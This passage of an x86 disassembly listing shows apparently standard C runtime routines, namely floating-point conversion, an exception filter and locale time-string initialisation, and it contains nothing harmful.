loc_435527:				; CODE XREF: sub_4354B0+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_43553D
		mov	[ebp+var_14], 1


loc_43553D:				; CODE XREF: sub_4354B0+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_4354B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435570	proc near		; CODE XREF: sub_42ED90+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_438500
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_435470
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_435570	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_438500
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_4354B0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4355F0	proc near		; CODE XREF: sub_42ED90+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_438500
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_435490
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_4355F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435630	proc near		; CODE XREF: sub_42EDE0+4Dp
					; sub_42EFD0+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_435654:				; CODE XREF: sub_435630+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_43569B
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_435678
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_43567F
; ---------------------------------------------------------------------------


loc_435678:				; CODE XREF: sub_435630+32j
		mov	[ebp+var_C], 30h


loc_43567F:				; CODE XREF: sub_435630+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_435654
; ---------------------------------------------------------------------------


loc_43569B:				; CODE XREF: sub_435630+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_4356E4
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_4356E4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_4356BB:				; CODE XREF: sub_435630+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_4356D7
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4356BB
; ---------------------------------------------------------------------------


loc_4356D7:				; CODE XREF: sub_435630+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_4356E4:				; CODE XREF: sub_435630+75j
					; sub_435630+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_435700
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_435726
; ---------------------------------------------------------------------------


loc_435700:				; CODE XREF: sub_435630+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4237A0
		add	esp, 0Ch


loc_435726:				; CODE XREF: sub_435630+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_435630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435730	proc near		; CODE XREF: sub_42EDE0+1Ep
					; sub_42EFD0+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_4357B0
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_439080
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_422580
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_435730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4357B0	proc near		; CODE XREF: sub_435730+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_435827
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_43581F
		jmp	short loc_43586A
; ---------------------------------------------------------------------------


loc_43581F:				; CODE XREF: sub_4357B0+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_435885
; ---------------------------------------------------------------------------


loc_435827:				; CODE XREF: sub_4357B0+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_435854
		cmp	[ebp+var_10], 0
		jnz	short loc_435854
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_43590E
; ---------------------------------------------------------------------------


loc_435854:				; CODE XREF: sub_4357B0+7Bj
					; sub_4357B0+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_435885
; ---------------------------------------------------------------------------


loc_43586A:				; CODE XREF: sub_4357B0+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx


loc_435885:				; CODE XREF: sub_4357B0+75j
					; sub_4357B0+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4358A9:				; CODE XREF: sub_4357B0+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_4358F4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_4358A9
; ---------------------------------------------------------------------------


loc_4358F4:				; CODE XREF: sub_4357B0+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax


loc_43590E:				; CODE XREF: sub_4357B0+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_4357B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_424980
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435930	proc near		; DATA XREF: sub_435990+3o
					; .XComp0:004528B0o ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_43595E
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_43595E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_43595E
		call	sub_42FFB0


loc_43595E:				; CODE XREF: sub_435930+Ej
					; sub_435930+19j ...
		cmp	dword_4E9434, 0
		jz	short loc_435985
		mov	eax, dword_4E9434
		push	eax
		call	sub_435A30
		add	esp, 4
		test	eax, eax
		jz	short loc_435985
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E9434
		jmp	short loc_435987
; ---------------------------------------------------------------------------


loc_435985:				; CODE XREF: sub_435930+35j
					; sub_435930+47j
		xor	eax, eax


loc_435987:				; CODE XREF: sub_435930+53j
		pop	ebp
		retn	4
sub_435930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435990	proc near		; DATA XREF: .XComp0:00441028o
		push	ebp
		mov	ebp, esp
		push	offset sub_435930
		call	near ptr 2770146h
		nop
		mov	dword_4E9434, eax
		pop	ebp
		retn
sub_435990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4359B0	proc near		; DATA XREF: .XComp0:00441040o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4E9434
		push	eax
		call	near ptr 2770146h
		nop
		pop	ebp
		retn
sub_4359B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4359D0	proc near		; CODE XREF: sub_42F3F0+9Ep
					; sub_42FC00+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 2941B69h
		test	eax, eax
		jz	short loc_4359F4
		mov	[ebp+var_4], 0


loc_4359F4:				; CODE XREF: sub_4359D0+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4359D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435A00	proc near		; CODE XREF: sub_42FC00+89p
					; sub_42FC00+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 29415F4h
		test	eax, eax
		jz	short loc_435A24
		mov	[ebp+var_4], 0


loc_435A24:				; CODE XREF: sub_435A00+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_435A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435A30	proc near		; CODE XREF: sub_42FC00+1E2p
					; sub_435930+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_435A50
		mov	[ebp+var_4], 0


loc_435A50:				; CODE XREF: sub_435A30+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435A60	proc near		; CODE XREF: sub_43001Ep
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_432590
		add	esp, 4
		push	16h
		call	sub_432E40
		add	esp, 4
		push	3
		call	sub_421820
		pop	ebp
		retn
sub_435A60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435A80	proc near		; DATA XREF: .XComp0:00452A14o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E92F0, 0
		jz	loc_435B21
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_41F230
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_435ABC
		mov	eax, 1
		jmp	loc_435B57
; ---------------------------------------------------------------------------


loc_435ABC:				; CODE XREF: sub_435A80+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_435B60
		add	esp, 4
		test	eax, eax
		jz	short loc_435AED
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4360F0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, 1
		jmp	short loc_435B57
; ---------------------------------------------------------------------------


loc_435AED:				; CODE XREF: sub_435A80+4Aj
		mov	eax, [ebp+var_4]
		mov	off_453318, eax
		mov	ecx, dword_4E9438
		push	ecx
		call	sub_4360F0
		add	esp, 4
		push	2
		mov	edx, dword_4E9438
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4E9438, eax
		xor	eax, eax
		jmp	short loc_435B57
; ---------------------------------------------------------------------------


loc_435B21:				; CODE XREF: sub_435A80+Bj
		mov	off_453318, offset off_453320
		mov	ecx, dword_4E9438
		push	ecx
		call	sub_4360F0
		add	esp, 4
		push	2
		mov	edx, dword_4E9438
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	dword_4E9438, 0
		xor	eax, eax


loc_435B57:				; CODE XREF: sub_435A80+37j
					; sub_435A80+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_435A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435B60	proc near		; CODE XREF: sub_435A80+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, word_4E9472
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, word_4E9474
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_435B92
		or	eax, 0FFFFFFFFh
		jmp	loc_4360EB
; ---------------------------------------------------------------------------


loc_435B92:				; CODE XREF: sub_435B60+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_43AA10
		add	esp, 10h
